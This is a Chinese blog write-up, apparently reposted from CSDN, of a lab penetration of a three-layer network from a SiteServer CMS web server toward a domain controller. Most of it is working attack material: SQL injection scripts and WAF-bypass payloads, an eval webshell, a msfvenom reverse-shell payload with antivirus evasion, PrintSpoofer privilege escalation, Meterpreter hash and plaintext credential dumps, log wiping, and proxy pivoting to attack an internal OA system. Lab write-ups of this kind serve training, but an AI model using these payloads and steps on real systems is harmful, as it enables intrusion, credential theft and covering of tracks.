三层网络防护的域渗透
作者:互联网
目录
环境准备
网络拓扑
网络拓扑如下:
配置网卡
由于虚拟机的地址已经写死,更改的话容易出现问题,因此直接新建vm18、vm19两块网卡,并指定如下的子网地址
对于web服务器,其中一块网卡设置为NAT模式,并固定死IP地址
网络联通性测试
- oa系统可以直接ping通DC
- oa机器,关闭防火墙,关闭360。发现web机器可以ping通oa机器,再恢复oa机器的安全防护。
- web机器可以ping通外网,可以ping通kali
- 拍个快照,结束
一些账号
可以使用下面账号登录系统,方便对网络联通性做测试
win2016 dc :
administrator
、!@#QWEasd123.
win2012 oa :
administrator
!@#Q123
oa
!@#Qz123
oa.attack.local
win2016-web:
administrator
!@#QWE123
绑定host
192.168.239.114 www.moonlab.com
其他
确认web服务器的iis安全狗和服务器安全狗都开启了CC防护
目标
拿下DC,获取DC中的flag.txt
信息收集
nmap主机发现
nmap -sn 192.168.239.0/24
端口扫描
masscan端扫描
因为服务器上安全防护软件,因此扫描的速率不能太高
sudo masscan -p 1-65535 192.168.239.114 --rate=100
nmap端口信息探测
sudo nmap -A -p 80,6588,999,21,5985,3389 -sV 192.168.239.114 -oA nmapscan
美化扫描结果
这里整个花活,美化一下Nmap的扫描结果
- 新建一个文件夹,把nmap的扫描结果直接丢进去
- 把一个生成html的模板文件丢进去(删除后缀pdf即可)mode.xsl.pdf
- 执行命令:
xsltproc -o nmap_scan.html mode.xsl nmapscan.xml
- nmap_scan.html是生成的报告名字
- mode.xsl是采用的模板
- nmapscan.xml是namp的扫描结果
- 生成样式如下
网站探测
访问之后啥也没有
指纹识别
whatweb www.moonlab.com
看到存在waf
WAF识别
看到网站存在安全狗
目录扫描
直接开扫是会gg的,毕竟开了CC防护
可以降低扫描速度,我偏不,在“绕WAF”(语雀地址、CSDN地址)中介绍过可以使用 **模拟爬虫+模拟用户 **的方式绕过安全狗的CC防护。
- 模拟爬虫即:把UA修改为百度等搜索引擎的爬虫UA
- 模拟爬虫即:修改请求头,尽量贴近真实
用BurpSuite来做这种事情太合适不过了。准备一个字典(删除PDF后缀即可)big.txt.pdf
对着301响应码的子目录访问一下,发现访问http://www.moonlab.com/siteserver会跳转到后台登录页面
siteserver 漏洞利用
经过网上搜索,查找到:https://github.com/johnniesong/w9scan/blob/master/plugins/2739.py
这里的利用代码可以进行测试。但是我又不想下载完整工具,更不想花时间研究它怎么用,所以直接改造一下代码。
获取到payload:
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--
import requests
ps = [
'siteserver/service/background_taskLog.aspx?Keyword=test%%27%20and%20convert(int,(char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version))=1%20and%202=%271&DateFrom=&DateTo=&IsSuccess=All',
'usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--',
'siteserver/bbs/background_keywordsFilting.aspx?grade=0&categoryid=0&keyword=test%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%202=%271',
'siteserver/userRole/background_administrator.aspx?RoleName=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%271&PageNum=0&Keyword=test&AreaID=0&LastActivityDate=0&Order=UserName',
'siteserver/userRole/background_user.aspx?PageNum=0&Keyword=%27%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=1%20and%201=%27&CreateDate=0&LastActivityDate=0&TypeID=0&DepartmentID=0&AreaID=0',
'siteserver/bbs/background_thread.aspx?UserName=test&Title=%27%20and%201=char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version%20and%201=%27&DateFrom=&DateTo=&ForumID=0',
]
for p in ps:
url = 'http://www.moonlab.com/' + p
res = requests.get(url)
# print(res.text)
if res.status_code == 500 and "GAOJIMicrosoft" in res.text:
print(url)
print(res.text)
# else:
# print('worng'+url)
测试一下,确实存在报错注入,获知数据库版本:Microsoft SQL Server 2008 R2 (SP2) - 10.50.4000.0 (X64)
绕狗注入
对上面的payload略作修改:
- 获取数据库名字:msmoonlab
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20~1=db_name();%20--
- 获取数据库用户名:msmoonlab
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20user=~2;%20--
接下来的思路就是要拿账号密码,需要搭建一个cms环境,这里图省事,直接去web服务器上看下用户表里都是有哪些列
/****** Script for SelectTopNRows command from SSMS ******/
SELECT TOP 1000 [UserName]
,[Password]
,[PasswordFormat]
,[PasswordSalt]
,[CreationDate]
,[LastActivityDate]
,[LastModuleID]
,[CountOfLogin]
,[CreatorUserName]
,[IsChecked]
,[IsLockedOut]
,[PublishmentSystemID]
,[DepartmentID]
,[AreaID]
,[DisplayName]
,[Question]
,[Answer]
,[Email]
,[Mobile]
,[Theme]
,[Language]
FROM [msmoonlab].[msmoonlab].[bairong_Administrator]
- 接着绕狗,查到用户名admin
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20~1=(select%20top%201%20username%20from%20[bairong_Administrator]);%20--
- 获取密文:64Cic1ERUP9n2OzxuKl9Tw==
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20~1=(select%20top%201%20password%20from%20[bairong_Administrator]);%20--
- 获取盐值:LIywB/zHFDTuEA1LU53Opg==
http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20~1=(select%20top%201%20PasswordSalt%20from%20[bairong_Administrator]);%20--
接下来就得下载网站的源码,通过反编译 dll 来试图找到用户的加密方法。这块不熟悉,还是换用别的思路吧,注意到网站后台登录页面有“忘记密码”选项的,看看有没有什么漏洞。
忘记密码
发现网站是通过填写问题答案找回密码的,可以试试把问题问题的答案置为空
然后就看到了账号密码
登录成功
上传木马
在“绕WAF”(语雀地址、CSDN地址)中介绍过 **变量覆盖+参数绕过 **可以绕狗,使用如下代码:
<%@ Page Language="Jscript"%>
<%
var a =Request.Item["c32as"];
a=a.Replace("moonmoonmoonmm","Response.Write");
//Response.Write(a);
eval(a,"unsafe");
%>
将此aspx格式的文件直接打包成zip,上传网站。网站会自动解压。
上传完成之后发现网站没啥变化,这个就有点尴尬,只能百度或者本地发件环境复现一下,看文件到底传哪了
http://www.moonlab.com/sitefiles/sitetemplates/c32as/c32as.aspx
出现的错误问题是代码导致的,不用管
连接菜刀,注意:
密码是c32as,编码类型是utf-8
getshell
- net start:查看系统上的服务
对提权有帮助的有:
MySQL、Print Spooler、SQL Server (MSSQLSERVER)
对渗透有障碍的:
Safedog Guard Center、SafeDogCloudHelper、Windows Defender Service、Windows Firewall
- 查看进程
使用在线工具https://maikefee.com/av_list分析tasklist /svc
的执行结果
后渗透
提权
使用Print Spooler进行提权。项目地址:https://github.com/itm4n/PrintSpoofer
如果被杀的话,可以做一下免杀,参见之前的文章:PrintSpoofer免杀过360
或者直接使用附件中做过免杀的(删除.pdf后缀即可)PrintSpoofer1.exe.pdf
使用命令:PrintSpoofer1.exe -i -c "whoami"
,已经提权成功
菜刀转msf
msf生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.239.141 LPORT=4444 -e x86/shikata_ga_nai -i 20 -f csharp -o payload.txt
Advanced AV Evasion免杀
处理细节参见之前的文章:https://www.yuque.com/u1881995/pborfs/hbmxvo
- 打开工具
MSF开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.239.141
set lport 4444
exploit
获取session
投递免杀马,获取session
- 以system权限运行木马
PrintSpoofer1.exe -i -c "666.exe"
- 拿到system权限的session
进程迁移
迁移到X64的SYSTEM权限的进程中,方便获取hash值等操作
关于这部分详细的解释,参见之前的笔记“后渗透模块Meterpreter-系统口令”:https://www.yuque.com/u1881995/ytuylg/tfqni1#S2c8R
哈希明文
- 获取哈希值
可以使用:run post/windows/gather/smart_hashdump
或者hashdump
获取到:
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e7114141b0337bdce1aedf5594706205:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
huweishen166644:1004:aad3b435b51404eeaad3b435b51404ee:93a50f03c4bc59579605ee0c1937401a:::
moonlab:1010:aad3b435b51404eeaad3b435b51404ee:16607206dae8e7ac67ccbbce40363686:::
MySQL_HWS:1001:aad3b435b51404eeaad3b435b51404ee:c5bf79ff3e413dd56c626aaed26431bb:::
PhpMyAdmin_HWS:1002:aad3b435b51404eeaad3b435b51404ee:8ad7000c1e4378339c86952dd7dc23e1:::
- 明文信息收集
获取到账号:Administrator
,密码:!@#QWE123
meterpreter > load kiwi
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain NTLM SHA1
-------- ------ ---- ----
Administrator WIN-FHOQSB51A6Q e7114141b0337bdce1aedf5594706205 ba0c330de294546637d42b5c42150ef05380fc66
MySQL_HWS WIN-FHOQSB51A6Q c5bf79ff3e413dd56c626aaed26431bb 7f56ec1544f97172e71f92b4375739645f6f9288
moonlab WIN-FHOQSB51A6Q 16607206dae8e7ac67ccbbce40363686 4fa65b24e66ac648afba99b5571e148599913116
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator WIN-FHOQSB51A6Q !@#QWE123
MySQL_HWS WIN-FHOQSB51A6Q 5f 00 48 00 68 00 38 00 40 00 69 00 4f 00 77 00 40 00 40 00 54 00 73 00 37 0
0 4a 00 32 00 68 00 4a 00 54 00 37 00 70 00 09 ff 54 00 37 00 70 00 39 00 55
00 51 00 4a 00 4a 00 28 00
WIN-FHOQSB51A6Q$ WORKGROUP (null)
moonlab WIN-FHOQSB51A6Q DvS6yrCjxq3sOQBnIGc
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator WIN-FHOQSB51A6Q (null)
MySQL_HWS WIN-FHOQSB51A6Q (null)
moonlab IIS APPPOOL (null)
moonlab WIN-FHOQSB51A6Q (null)
win-fhoqsb51a6q$ WORKGROUP (null)
- 其他命令:
kiwi_cmd sekurlsa::wdigest #整理出web服务器上的明文密码
kiwi_cmd sekurlsa::tspkg #这个命令的显示效果跟前者差不多
使用细节参见之前的文章:https://www.yuque.com/u1881995/xwfvho/axoplg#Gsiqg
注意:
如果是使用msf5攻击的话,是有mimikatz模块的,使用kerberos
命令获取明文时,在win2016上是看不到明文内容的,如下图。需要修改注册表重启设备之后才行。
开放的端口-3389
使用netstat
看到目标开放了3389端口,那就连接一下
被拒绝
纳尼(⊙o⊙)?用msf重开一下试试
连接失败
原因是目标选择了下图中的策略
可以使用相同版本的终端进行连接,或者使用 xfreerdp连接会自动加密,使用xfreerdp,由于目标的登录密码存在特殊字符,因此需要使用\
对其转义
xfreerdp /f /u:Administrator /p:\!\@\#QWE123 /v:192.168.239.114
关闭防护
kali登录之后就把目标的防护全关了,安全狗的日志全删了并关闭安全狗,防火墙关了,系统的日志痕迹啥的,可以用msf清理,暂时不用管。
内网主机发现
- 扫描第一张网卡
由于NAT模式下只有kali和web服务器,因此NAT地址的主机发现可做可不做
run post/windows/gather/arp_scanner rhosts=192.168.239.0/24
- 扫描第二张网卡
方法1:使用ping命令
还是探测一下10.10.1.0/24的信息吧
for /l %i in (1,1,255) do @ ping 10.10.1.%i -w 1 -n 1|find /i "ttl="
个人觉得这玩意速度很慢,并且由于内网的OA机器开着防火墙和360全家桶,肯定也是ping不通的,从扫描结果中可以看到,根本没发现其他机器,只发现了自己和物理机的虚拟网卡地址
方法2:使用msf
还是arp扫描好用!发现了一台新设备,10.10.1.130,也就是OA办公系统。
run post/windows/gather/arp_scanner rhosts=10.10.1.0/24
配置路由
这里的操作,在“代理-内网跳板机”中介绍过,此处简单演示一遍
- 查看web服务器的网卡信息
查看网络接口信息:run get_local_subnets
查看活动路由列表:run autoroute -p
发现目标存在内网网段,并且没有路由信息
- 添加内网路由
run autoroute -s 10.10.1.0/24
:以CIDR的方式添加路由信息
配置socks
在msf6中,一些设置发生了变化
- 配置socks_proxy,并运行
- 配置proxychains4.conf
发现,只有proxychains4.conf,没有proxychains.conf了
配置一下proxychains4.conf,最后一行添加socks5代理即可
攻击内网OA系统
端口扫描
先探测一下OA机器的端口开放情况
proxychains4 nmap -Pn -sT -sV 10.10.1.130 -F
只扫出来80端口,应该是防护软件在捣鬼。
还能咋办,直接看看目标的80端口
网上找到一个利用代码:https://github.com/wikiZ/tongda-exp-poc
根据使用说明,只能使用冰蝎连接
直接按照使用说明获取shell地址
getshell
- 冰蝎配置代理
冰蝎连接kali的代理
- 添加shell
- 尝试获取目标的信息,失败了。按回车键没反应。
- 尝试上传一个冰蝎马,来获取一个新的shell
根据虚拟终端中的地址,获知之前上传的后门位置,上传冰蝎自带的木马
继续失败
- 勇敢牛牛,不怕困难,换用蚁剑试试呢?
开启socks5代理,蚁剑连接试试,好的
标签:00,null,渗透,2Bchar,防护,获取,10.10,三层,com 来源: https://blog.csdn.net/weixin_44288604/article/details/122370496